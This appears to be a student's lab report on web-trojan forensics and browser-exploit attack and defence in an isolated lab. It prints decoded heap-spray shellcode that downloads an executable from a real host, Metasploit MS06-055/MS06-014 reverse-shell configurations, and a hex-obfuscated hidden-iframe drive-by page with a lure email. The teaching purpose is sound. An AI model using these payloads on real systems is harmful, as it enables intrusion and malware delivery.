0\63\145\42\40\53\15\12\42\45\165\146\141\67\65\45\165\63\66\70\60\45\165\65\145\70\60\45\165\145\143\70\63\45\165\70\142\64\60\45\165\143\67\144\143\45\165\66\63\60\63\45\165\66\64\66\144\42\40\53\15\12\42\45\165\64\63\62\60\45\165\64\63\64\63\45\165\66\66\64\63\45\165\60\63\143\67\45\165\66\63\62\146\45\165\64\63\64\63\45\165\60\63\143\66\45\165\64\63\62\60\42\40\53\15\12\42\45\165\62\60\66\141\45\165\146\146\65\63\45\165\145\143\65\67\45\165\52\57\15\12\160\160\163\75\50\144\157\143\165\155\145\156\164\56\143\162\145\141\164\145\105\154\145\155\145\156\164\50\42\157\142\152\145\143\164\42\51\51\73\15\12\160\160\163\56\163\145\164\101\164\164\162\151\142\165\164\145\50\42\143\154\141\163\163\151\144\42\54\42\143\154\163\151\144\72\65\105\103\67\103\65\61\61\55\103\104\60\106\55\64\62\105\66\55\70\63\60\103\55\61\102\104\71\70\70\62\106\63\64\65\70\42\51\15\12\166\141\162\40\163\150\145\154\154\143\157\144\145\40\75\40\165\156\145\163\143\141\160\145\50\42\45\165\146\63\145\71\45\165\60\60\60\60\42\53\15\12\42\45\165\71\60\60\60\45\165\71\60\71\60\45\165\65\141\71\60\45\165\141\61\66\64\45\165\60\60\63\60\45\165\60\60\60\60\45\165\64\60\70\142\45\165\70\142\60\143\42\40\53\15\12\42\45\165\61\143\67\60\45\165\70\142\141\144\45\165\60\70\64\60\45\165\144\70\70\142\45\165\67\63\70\142\45\165\70\142\63\143\45\165\61\145\67\64\45\165\60\63\67\70\42\40\53\15\12\42\45\165\70\142\146\63\45\165\62\60\67\145\45\165\146\142\60\63\45\165\64\145\70\142\45\165\63\63\61\64\45\165\65\66\145\144\45\165\65\61\65\67\45\165\63\146\70\142\42\40\53\15\12\42\45\165\146\142\60\63\45\165\146\62\70\142\45\165\60\145\66\141\45\165\146\63\65\71\45\165\67\64\141\66\45\165\65\71\60\70\45\165\70\63\65\146\45\165\60\64\143\67\42\40\53\15\12\42\45\165\145\62\64\65\45\165\65\71\145\71\45\165\65\145\65\146\45\165\143\144\70\142\45\165\64\66\70\142\45\165\60\63\62\64\45\165\144\61\143\63\45\165\60\63\145\61\42\40\53\15\12\42\45\165\63\63\143\61\45\165\66\66\143\71\45\165\60\70\70\142\45\165\64\66\70\142\45\165\60\63\61\143\45\165\143\61\143\63\45\165\60\62\145\61\45\165\143\61\60\63\42\40\53\15\12\42\45\165\60\60\70\142\45\165\143\63\60\63\45\165\146\141\70\142\45\165\146\67\70\142\45\165\143\66\70\63\45\165\70\142\60\145\45\165\66\141\144\60\45\165\65\71\60\64\42\40\53\15\12\42\45\165\66\141\145\70\45\165\60\60\60\60\45\165\70\63\60\60\45\165\60\144\143\66\45\165\65\66\65\62\45\165\65\67\146\146\45\165\65\141\146\143\45\165\144\70\70\142\42\40\53\15\12\42\45\165\60\61\66\141\45\165\145\70\65\71\45\165\60\60\65\67\45\165\60\60\60\60\45\165\143\66\70\63\45\165\65\66\61\63\45\165\70\60\64\66\45\165\70\60\63\145\42\40\53\15\12\42\45\165\146\141\67\65\45\165\63\66\70\60\45\165\65\145\70\60\45\165\145\143\70\63\45\165\70\142\64\60\45\165\143\67\144\143\45\165\66\63\60\63\45\165\66\64\66\144\42\40\53\15\12\42\45\165\64\63\62\60\45\165\64\63\64\63\45\165\66\66\64\63\45\165\60\63\143\67\45\165\66\63\62\146\45\165\64\63\64\63\45\165\60\63\143\66\45\165\64\63\62\60\42\40\53\15\12\42\45\165\62\60\66\141\45\165\146\146\65\63\45\165\145\143\65\67\45\165\60\64\143\67\45\165\65\143\60\63\45\165\62\145\66\61\45\165\143\67\66\65\45\165\60\63\64\64\42\40\53\15\12\42\45\165\67\70\60\64\45\165\60\60\66\65\45\165\63\63\60\60\45\165\65\60\143\60\45\165\65\63\65\60\45\165\65\60\65\66\45\165\65\67\146\146\45\165\70\142\146\143\42\40\53\15\12\42\45\165\66\141\144\143\45\165\65\63\60\60\45\165\65\67\146\146\45\165\66\70\146\60\45\165\62\64\65\61\45\165\60\60\64\60\45\165\146\146\65\70\45\165\63\63\144\60\42\40\53\15\12\42\45\165\141\143\143\60\45\165\143\60\70\65\45\165\146\71\67\65\45\165\65\62\65\61\45\165\65\63\65\66\45\165\144\62\146\146\45\165\65\71\65\141\45\165\145\62\141\142\42\40\53\15\12\42\45\165\63\63\145\145\45\165\143\63\143\60\45\165\60\143\145\70\45\165\146\146\146\146\45\165\64\67\146\146\45\165\67\64\66\65\45\165\67\62\65\60\45\165\66\63\66\146\42\40\53\15\12\42\45\165\66\64\64\61\45\165\67\62\66\64\45\165\67\63\66\65\45\165\60\60\67\63\45\165\66\65\64\67\45\165\65\63\67\64\45\165\67\63\67\71\45\165\66\65\67\64\42\40\53\15\12\42\45\165\64\64\66\144\45\165\67\62\66\71\45\165\66\63\66\65\45\165\66\146\67\64\45\165\67\71\67\62\45\165\60\60\64\61\45\165\66\71\65\67\45\165\64\65\66\145\42\40\53\15\12\42\45\165\66\65\67\70\45\165\60\60\66\63\45\165\67\70\64\65\45\165\67\64\66\71\45\165\66\70\65\64\45\165\66\65\67\62\45\165\66\64\66\61\45\165\64\143\60\60\42\40\53\15\12\42\45\165\66\61\66\146\45\165\64\143\66\64\45\165\66\62\66\71\45\165\66\61\67\62\45\165\67\71\67\62\45\165\60\60\64\61\45\165\67\62\67\65\45\165\66\144\66\143\42\40\53\15\12\42\45\165\66\145\66\146\45\165\65\65\60\60\45\165\64\143\65\62\45\165\66\146\64\64\45\165\66\145\67\67\45\165\66\146\66\143\45\165\66\64\66\61\45\165\66\146\65\64\42\40\53\15\12\42\45\165\66\71\64\66\45\165\66\65\66\143\45\165\60\60\64\61\45\165\67\64\66\70\45\165\67\60\67\64\45\165\62\146\63\141\45\165\66\64\62\146\45\165\67\67\66\146\45\165\62\145\66\145\45\165\63\70\63\61\45\165\66\64\66\64\45\165\66\145\62\145\45\165\67\64\66\65\45\165\66\62\62\146\45\165\62\146\66\62\45\165\67\60\67\60\45\165\62\145\67\63\45\165\67\70\66\65\45\165\60\60\66\65\42\51\73\15\12\166\141\162\40\142\151\147\142\154\157\143\153\40\75\40\165\156\145\163\143\141\160\145\50\42\45\165\71\60\71\60\45\165\71\60\71\60\42\51\73\15\12\166\141\162\40\150\145\141\144\145\162\163\151\172\145\40\75\40\62\60\73\15\12\166\141\162\40\163\154\141\143\153\163\160\141\143\145\40\75\40\150\145\141\144\145\162\163\151\172\145\53\163\150\145\154\154\143\157\144\145\56\154\145\156\147\164\150\73\15\12\167\150\151\154\145\40\50\142\151\147\142\154\157\143\153\56\154\145\156\147\164\150\74\163\154\141\143\153\163\160\141\143\145\51\40\142\151\147\142\154\157\143\153\53\75\142\151\147\142\154\157\143\153\73\15\12\146\151\154\154\142\154\157\143\153\40\75\40\142\151\147\142\154\157\143\153\56\163\165\142\163\164\162\151\156\147\50\60\54\40\163\154\141\143\153\163\160\141\143\145\51\73\15\12\142\154\157\143\153\40\75\40\142\151\147\142\154\157\143\153\56\163\165\142\163\164\162\151\156\147\50\60\54\40\142\151\147\142\154\157\143\153\56\154\145\156\147\164\150\55\163\154\141\143\153\163\160\141\143\145\51\73\15\12\167\150\151\154\145\50\142\154\157\143\153\56\154\145\156\147\164\150\53\163\154\141\143\153\163\160\141\143\145\74\60\170\64\60\60\60\60\51\40\142\154\157\143\153\40\75\40\142\154\157\143\153\53\142\154\157\143\153\53\146\151\154\154\142\154\157\143\153\73\15\12\155\145\155\157\162\171\40\75\40\156\145\167\40\101\162\162\141\171\50\51\73\15\12\146\157\162\40\50\170\75\60\73\40\170\74\64\60\60\73\40\170\53\53\51\40\155\145\155\157\162\171\133\170\135\40\75\40\142\154\157\143\153\40\53\40\163\150\145\154\154\143\157\144\145\73\15\12\166\141\162\40\142\165\146\146\145\162\40\75\40\47\47\73\15\12\167\150\151\154\145\40\50\142\165\146\146\145\162\56\154\145\156\147\164\150\40\74\40\65\60\60\51\40\142\165\146\146\145\162\53\75\42\134\170\60\141\134\170\60\141\134\170\60\141\134\170\60\141\42\73\15\12\160\160\163\56\114\157\147\157\40\75\40\142\165\146\146\145\162\15\12")
利用CyberChef进行解密之后结果如下:

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps = document.createElement('object');
pps.setAttribute('classid', 'clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458');
var shellcode = unescape('%uf3e9%u0000' + '%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c' + '%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378' + '%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b' + '%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7' + '%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1' + '%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103' + '%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904' + '%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b' + '%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e' + '%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d' + '%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320' + '%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344' + '%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc' + '%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0' + '%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab' + '%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f' + '%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574' + '%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e' + '%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00' + '%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c' + '%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54' + '%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065');
var bigblock = unescape('%u9090%u9090');
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace)
bigblock += bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);
while (block.length + slackspace < 262144)
block = block + block + fillblock;
memory = new Array();
for (x = 0; x < 400; x++)
memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500)
buffer += '\n\n\n\n';
pps.Logo = buffer;
结合AI帮助分析可以得出pps.js解码后它创建了 PPS / PowerPlayer ActiveX 控件对象:
pps = document.createElement('object');
pps.setAttribute('classid', 'clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458');
随后脚本构造 %uXXXX 形式的 shellcode,并使用 %u9090 构造 NOP sled:
var shellcode = unescape('%uf3e9%u0000' + ...);
var bigblock = unescape('%u9090%u9090');
脚本继续通过 memory 数组进行堆喷射:
memory = new Array();
for (x = 0; x < 400; x++)
memory[x] = block + shellcode;
最后通过给 PPS 控件属性赋异常字符串触发漏洞:
pps.Logo = buffer;
从 pps.js 的 shellcode 中可以提取到最终下载地址
http://down.18dd.net/bb/pps.exe
因此,pps.js 是针对 PPS / PowerPlayer ActiveX 控件的二阶段漏洞利用脚本,其行为包括创建控件对象、构造 shellcode、堆喷射、触发控件异常,并下载执行 pps.exe。
-
bd.cab与可执行文件同源性分析把学习通中的相关资料下载到Win XP中,在Win XP中找到bd.cab,MD5 值为
1c1d7b3539a617517c49eee4120783b2。
找到四个可执行文件:
14.exe、bf.exe、pps.exe、bd.exe。使用md5sum命令计算文件哈希:md5sum 14.exe bf.exe pps.exe bd.exe
后三个文件的 MD5 值均为
1290ecd734d68d52318ea9016dc6fe63,说明它们是同一个文件的不同副本。 -
静态分析可执行文件
-
使用 PEiD 工具分析
pps.exe,显示为Borland Delphi v6.0 - v7.0,无加壳;而14.exe可以顺利使用超级巡警工具脱壳。

-
使用 IDA Pro Free 和 W32Dasm 软件加载
pps.exe,查看字符串窗口,发现以下关键信息
发现有大量下载链接:http://down.18dd.net/kl/0.exe 至 http://down.18dd.net/kl/19.exe ,说明该程序会批量下载木马

发现批处理文件
Alletdel.bat,包含goto try循环,用于不断执行删除文件、修改系统日期等恶意操作。
发现自动运行文件:
AutoRun.inf,用于通过 U 盘传播。
发现系统文件引用:
advapi32.dll、drivers/klif.sys,说明会修改注册表和系统驱动。
发现安全软件对抗:包含"瑞星卡卡上网安全助手 - IE 防漏墙"、"允许执行"等字符串,用于绕过安全软件检测。

这段反汇编字符串分析说明,该样本不是单纯下载器,而是具有较完整功能链的游戏盗号木马。其通过自删除隐藏痕迹,通过释放 DLL 和注册表写入实现驻留,通过钩子或进程注入监控 QQ 华夏游戏进程,并可能将窃取到的账号密码上传至远程服务器。
-
2.3 攻防对抗实践—web浏览器渗透攻击攻防
-
连通性测试,攻防环境如下,确保二者能够ping通
角色 系统 IP 地址 攻击方 Kali Linux 192.168.200.9靶机 Windows 2000 192.168.200.12


-
验证第一个漏洞 MS06-055
在 Kali 中启动 Metasploit:
msfconsole -q清理旧任务和旧会话:
jobs -K sessions -K配置 MS06-055:
use exploit/windows/browser/ms06_055_vml_method set SRVHOST 0.0.0.0 set SRVPORT 8081 set URIPATH /ms06055 set payload windows/shell/reverse_tcp set LHOST 192.168.200.9 set LPORT 4455 set ExitOnSession false set VERBOSE true show options run -j
启动后,MS06-055 的恶意 URL 是:
http://192.168.200.9:8081/ms06055
然后在 Windows 靶机 IE 里访问:
http://192.168.200.9:8081/ms06055

回到 Metasploit 查看 session:
sessions -l如果出现 session,例如 ID 是 1:
sessions -i 1进入后执行:
ver ipconfig
首先单独验证 MS06-055 漏洞模块。Kali 使用
exploit/windows/browser/ms06_055_vml_method提供恶意页面服务,Windows 靶机通过 IE 访问http://192.168.200.9:8081/ms06055。若 Metasploit 返回Command shell session opened,并可通过 session 执行ver、ipconfig等命令,说明 MS06-055 漏洞 URL 可以独立触发。 -
单独验证第二个漏洞 MS06-014
关闭 Windows 靶机 IE,必要时重启一下 Windows 靶机。
在 Metasploit 中清理旧任务和 session:
jobs -K sessions -K配置 MS06-014:
use exploit/windows/browser/ie_createobject set SRVHOST 0.0.0.0 set SRVPORT 8082 set URIPATH /ms06014 set payload windows/shell/reverse_tcp set LHOST 192.168.200.9 set LPORT 5544 set ExitOnSession false set VERBOSE true show options run -j启动后,MS06-014 的恶意 URL 是:
http://192.168.200.9:8082/ms06014
在 Windows 靶机 IE 里访问:
http://192.168.200.9:8082/ms06014
回到 Metasploit:
sessions -l sessions -i 1如果 session ID 不是 1,就按实际 ID 进入。进入后执行:
ver ipconfig
单独验证 MS06-014 漏洞模块。Kali 使用
exploit/windows/browser/ie_createobject提供恶意页面服务,Windows 靶机 IE 访问http://192.168.200.9:8082/ms06014后,若 Metasploit 成功返回 shell session,并能执行ipconfig,说明该漏洞 URL 可作为第二个独立浏览器漏洞利用页面。 -
构造统一入口 URL 并进行十六进制混淆
攻击方将两个真实漏洞利用地址作为待隐藏目标:
http://192.168.5.5:8081/ms06055 http://192.168.5.5:8082/ms06014在kali中将上述 URL 转换为十六进制字符串
echo -n "http://192.168.200.9:8081/ms06055" | xxd -p -c 256 echo -n "http://192.168.200.9:8082/ms06014" | xxd -p -c 256得到:
687474703a2f2f3139322e3136382e3230302e393a383038312f6d733036303535 687474703a2f2f3139322e3136382e3230302e393a383038322f6d733036303134
为了模拟挂马链接中的简单混淆,攻击方没有直接在入口页中明文写出两个漏洞利用 URL,而是先将 URL 转换为十六进制字符串。防守方若只阅读邮件正文或入口页表层内容,不容易直接发现真实攻击目标。
-
开启 Apache 并创建统一入口页
-
启动 Apache
在 Kali 中执行:
sudo systemctl start apache2 sudo systemctl status apache2
2. 创建目录sudo mkdir -p /var/www/html/lab11- 创建入口页
sudo vim /var/www/html/lab11/index.html把下面内容复制进去。
<!doctype html> <html> <head> <meta charset="utf-8"> <title>浏览器兼容性测试</title> </head> <body> <h3>浏览器兼容性测试页面</h3> <p>正在加载实验资源,请稍候...</p> <script> function h2s(h) { var s = ""; for (var i = 0; i < h.length; i += 2) { s += String.fromCharCode(parseInt(h.substr(i, 2), 16)); } return s; } function loadHiddenFrame(url) { var f = document.createElement("iframe"); f.src = url; f.width = "1"; f.height = "1"; f.style.display = "none"; document.body.appendChild(f); } var u1 = "687474703a2f2f3139322e3136382e3230302e393a383038312f6d733036303535"; var u2 = "687474703a2f2f3139322e3136382e3230302e393a383038322f6d733036303134"; window.onload = function () { loadHiddenFrame(h2s(u1)); setTimeout(function () { loadHiddenFrame(h2s(u2)); }, 5000); }; </script> </body> </html>保存退出

统一入口 URL 是:
http://192.168.200.9/lab11/index.html混淆的目的在于让邮件中只出现统一入口 URL,而不直接暴露真实漏洞路径、端口和模块特征。防守方若只查看邮件正文,很难直接判断页面背后封装了两个浏览器漏洞利用地址。
先在 Kali 本机测试:
curl http://192.168.200.9/lab11/index.html
能看到 HTML 内容,说明 Apache 正常。
-
-
模拟欺骗邮件
用本地文本文档模拟邮件内容。
创建一个文本:
vim ~/lab11_mail.txt写入:
主题:关于浏览器兼容性测试页面的通知 同学你好: 请在实验靶机浏览器中打开下面的页面,完成浏览器兼容性测试: http://192.168.200.9/lab11/index.html 本链接仅用于课堂隔离实验环境(20252916xc)。
攻击方将统一入口页面伪装为“浏览器兼容性测试页面”,模拟真实攻击中诱导用户访问挂马链接的过程。由于邮件正文中只出现统一入口 URL,真实漏洞利用 URL 被隐藏在入口页 JavaScript 的十六进制字符串中。
-
重新启动两个 Metasploit 服务
现在正式做统一入口验证。要保证两个漏洞服务同时运行。
在 Metasploit 里执行:
jobs -K sessions -K- 启动 MS06-055 服务
use exploit/windows/browser/ms06_055_vml_method set SRVHOST 0.0.0.0 set SRVPORT 8081 set URIPATH /ms06055 set payload windows/shell/reverse_tcp set LHOST 192.168.200.9 set LPORT 4455 set ExitOnSession false set VERBOSE true run -j
2. 启动 MS06-014 服务use exploit/windows/browser/ie_createobject set SRVHOST 0.0.0.0 set SRVPORT 8082 set URIPATH /ms06014 set payload windows/shell/reverse_tcp set LHOST 192.168.200.9 set LPORT 5544 set ExitOnSession false set VERBOSE true run -j
查看两个后台任务:
jobs -v
-
Windows 靶机访问统一入口
在 Windows 靶机 IE 中访问,同时开启 Wireshark。
http://192.168.200.9/lab11/index.html
然后回到 Kali 的 Metasploit,看有没有 session:
sessions -l
可以看到在攻击机中并没有会话反弹过来。
-
看wireshark抓包到的数据



可以看到靶机成功访问了
index.html,但后续没有按预期访问/ms06055和/ms06014。经过AI的原因分析猜测这个问题不在基础网络连通性,而可能出现在旧版 IE 对入口页 JavaScript 的执行或 iframe 动态创建兼容性上。 -
为验证 JavaScript 是否执行,在 Kali 上新建最小测试页
jstest.htmlsudo vim /var/www/html/lab11/jstest.html写入如下内容后保存退出
<html> <body> <h3>JS Test</h3> <script> document.write("<p>JavaScript is running(20252916xc).</p>"); alert("JS OK"); </script> </body> </html>
在Windows中访问
http://192.168.5.5/lab11/jstest.html
上述图片说明了Windows 靶机 IE 可以执行 JavaScript,入口页问题可能不是“脚本完全被禁用”,而更可能是旧 IE 对动态创建 iframe 的写法不兼容,或者漏洞触发后中断了后续加载。
-
所以考虑把入口页改成更兼容的
document.write()写入 iframe。所以修改
index.html内容如下后保存退出:<!doctype html> <html> <head> <meta charset="utf-8"> <title>浏览器兼容性测试</title> </head> <body> <h3>浏览器兼容性测试页面</h3> <p>正在加载实验资源,请稍候...</p> <script> function h2s(h) { var s = ""; for (var i = 0; i < h.length; i += 2) { s += String.fromCharCode(parseInt(h.substr(i, 2), 16)); } return s; } var u1 = "687474703a2f2f3139322e3136382e3230302e393a383038312f6d733036303535"; var u2 = "687474703a2f2f3139322e3136382e3230302e393a383038322f6d733036303134"; document.write('<iframe src="' + h2s(u1) + '" width="1" height="1"></iframe>'); setTimeout(function () { document.write('<iframe src="' + h2s(u2) + '" width="1" height="1"></iframe>'); }, 8000); </script> </body> </html>
然后 Windows IE 访问:
http://192.168.200.9/lab11/index.html再回 Metasploit 看:
sessions -l
修改后,MS06-055 session 成功反弹,说明统一入口已经能够完成至少第一条漏洞路径的隐藏加载和触发。

但另一个 session 没有返回会话。Wireshark 抓包进一步显示,靶机实际访问了
/ms06055,没有继续访问/ms06014。问询AI后猜测可能是以下可能原因:-
由于浏览器端漏洞利用会改变浏览器进程的正常执行流程,甚至导致浏览器崩溃或挂起,因此第一个漏洞页面
/ms06055被触发后,IE 可能停止继续解析入口页中的后续 iframe,导致/ms06014未被请求。 -
MS06-055 属于浏览器端内存破坏类漏洞利用,触发后 payload 会尝试获得执行流控制。成功时,Metasploit 返回 shell;失败或半成功时,也可能导致 IE 崩溃,进而
/ms06014未被加载。 -
靶机是 Win2k Server SP0,IE 版本非常旧。旧 IE 对下面这些写法可能不稳定:
document.write 动态写 iframe 连续加载多个隐藏 iframe 通过 JavaScript 解码 URL 后再加载 iframe iframe 高度宽度过小 漏洞页面加载后浏览器状态异常所以即使 JavaScript 本身能执行,也不代表连续加载两个漏洞页面一定稳定
因此,本节可以得出结论:两个漏洞 URL 在分别作为独立漏洞利用页面进行测试时,均可完成相应的验证过程;统一入口页也实现了对两个漏洞地址的十六进制混淆封装与自动加载设计。但在实际 Win2000 / IE 靶机环境中,由于浏览器端漏洞触发后可能导致 IE 进程异常、脚本执行中断或后续页面加载失败,最终统一入口页中仅观察到 MS06-055 的访问请求及其反向 shell 会话,未继续观察到 MS06-014 的后续请求。
-
-
防守方解混淆分析与漏洞归因
防守方首先从模拟邮件正文中提取到统一入口链接:
http://192.168.200.9/lab11/index.html随后对该入口页面进行访问或离线查看源码。通过分析
index.html可以发现,页面中存在一个名为h2s()的 JavaScript 函数。该函数的主要作用是每次读取两个十六进制字符,并将其转换为对应的 ASCII 字符,从而还原被隐藏的真实 URL。入口页面中包含两个可疑的十六进制字符串:
687474703a2f2f3139322e3136382e3230302e393a383038312f6d733036303535 687474703a2f2f3139322e3136382e3230302e393a383038322f6d733036303134对上述字符串进行十六进制解码后,可得到两个真实的浏览器漏洞利用地址:
http://192.168.200.9:8081/ms06055 http://192.168.200.9:8082/ms06014结合 Metasploit 中两个模块的配置、URL 路径特征、HTTP 响应内容以及 Wireshark 抓包结果,可以对入口页中封装的漏洞利用代码进行归因分析。还原结果如下表所示:
还原出的 URL 对应 Metasploit 模块 攻击对象 漏洞性质 主要证据 http://192.168.200.9:8081/ms06055exploit/windows/browser/ms06_055_vml_methodWindows 2000 / Internet Explorer VML 相关远程代码执行漏洞 抓包中观察到 /ms06055请求;响应内容中包含 VML 标签、堆喷射特征及反向 shell 连接http://192.168.200.9:8082/ms06014exploit/windows/browser/ie_createobjectWindows 2000 / Internet Explorer / ActiveX COM CreateObject 远程代码执行漏洞 入口页源码解混淆结果、Metasploit 模块配置以及单独访问该 URL 时的验证过程 在本次统一入口页测试过程中,Wireshark 实际观察到靶机访问了
/ms06055,但未继续观察到/ms06014的后续请求。因此,从防守方分析角度看,入口页源码中确实封装了两个漏洞利用地址;但从实际攻击结果判断,应只将 MS06-055 记为本次统一入口中实际触发成功的漏洞。 -
抓包证据与反向 Shell 判定
防守侧通过 Wireshark 对实验过程进行抓包分析。抓包结果显示,Windows 靶机
192.168.200.12首先访问了 Kali 攻击机192.168.200.9上的统一入口页面:http://192.168.200.9/lab11/index.html该请求说明靶机已经成功访问攻击方构造的入口页面。随后,抓包中进一步观察到浏览器被页面中的隐藏 iframe 引导访问了第一个漏洞利用地址:
http://192.168.200.9:8081/ms06055在
/ms06055的响应内容中,可以看到与 MS06-055 漏洞利用相关的典型特征,例如 VML 相关标签、behavior:url(#default#VML)、unescape("%u...")形式的 shellcode 片段,以及用于堆喷射的填充内容。这些内容表明该页面并非普通网页,而是面向旧版 Internet Explorer 的浏览器端漏洞利用代码。
同时,抓包中的 结果显示操作系统版本为 Windows 2000 系统,与 MS06-055 模块的攻击目标环境相符合。结合 Metasploit 中返回的反向 shell 会话,可以判断
/ms06055漏洞页面已在靶机环境中被成功触发。在 Metasploit 中查看会话状态,可观察到反向 shell 已经建立。进入该 session 后,执行如下命令:
ipconfig ver
命令执行结果能够返回 Windows 靶机的网络配置信息和系统版本信息,其中 IP 地址与靶机地址
192.168.200.12一致,说明攻击方已经通过浏览器漏洞获得了靶机上的远程命令执行能力。
综合入口页访问记录、
/ms06055请求记录、HTTP 响应中的 VML 与 shellcode 特征以及 Metasploit 返回的反向 shell 会话,可以判定本次统一入口页面实际成功触发的是 MS06-055 浏览器端漏洞。对于入口页中封装的 MS06-014 地址,虽然可以通过源码解混淆还原出来,但在本次抓包中未观察到其对应的/ms06014请求,因此不将其判定为统一入口实际触发成功的漏洞。至此,攻防对抗实验任务完成!!!
3.学习中遇到的问题及解决
问题1:攻防对抗实践时,利用统一的URL进行访问一直返回不了会话,也抓包不到消息。
解决办法:通过AI的帮助以及同学的解答发现这个是正常的,是旧版 IE 对入口页 JavaScript 的执行或 iframe 动态创建兼容性上有点问题,并且仔细检查之后发现十六进制字符串在从虚拟机中粘贴出来时少粘了一位数字,导致命令长度有些不一样,最后修改了之后也是能够成功的响应/ms06055漏洞并返回会话。
问题2:取证分析实践中不会使用cyberchef软件
解决方法:让AI总结了一下这个软件的常用使用方法以及注意事项,并且对于1.js等文件内容进行解密时实战运用这个软件,遇到问题和同学交流以及问大模型,最终完整的完成了实验。
4.学习感悟、思考等
此次实验是网络攻防实践课程的收官之作,整个实验内容繁多且复杂,需要极其细心,比如网络对抗实践中我输错了一个字符,就可能返回不了对话,就感觉是不是哪里做错了,导致了一直反复检查,最后才找到这个错误。了解到了网页木马通常具有多层加载、多重混淆、多漏洞探测和多路径投递的特点。因此我们分析此类样本时,不能只查看入口页面,而应结合 MD5 映射、脚本解码、CyberChef、Packer 解包、CAB 解压、字符串提取和反汇编工具,逐层还原完整攻击链路。同时通过此次实验,极大的锻炼了我如何分析问题、解决问题的能力,同时认识到对于攻击行为的分析要一步步来,一层一层的剥离开,最终一定能找到攻击的源头。

浙公网安备 33010602011771号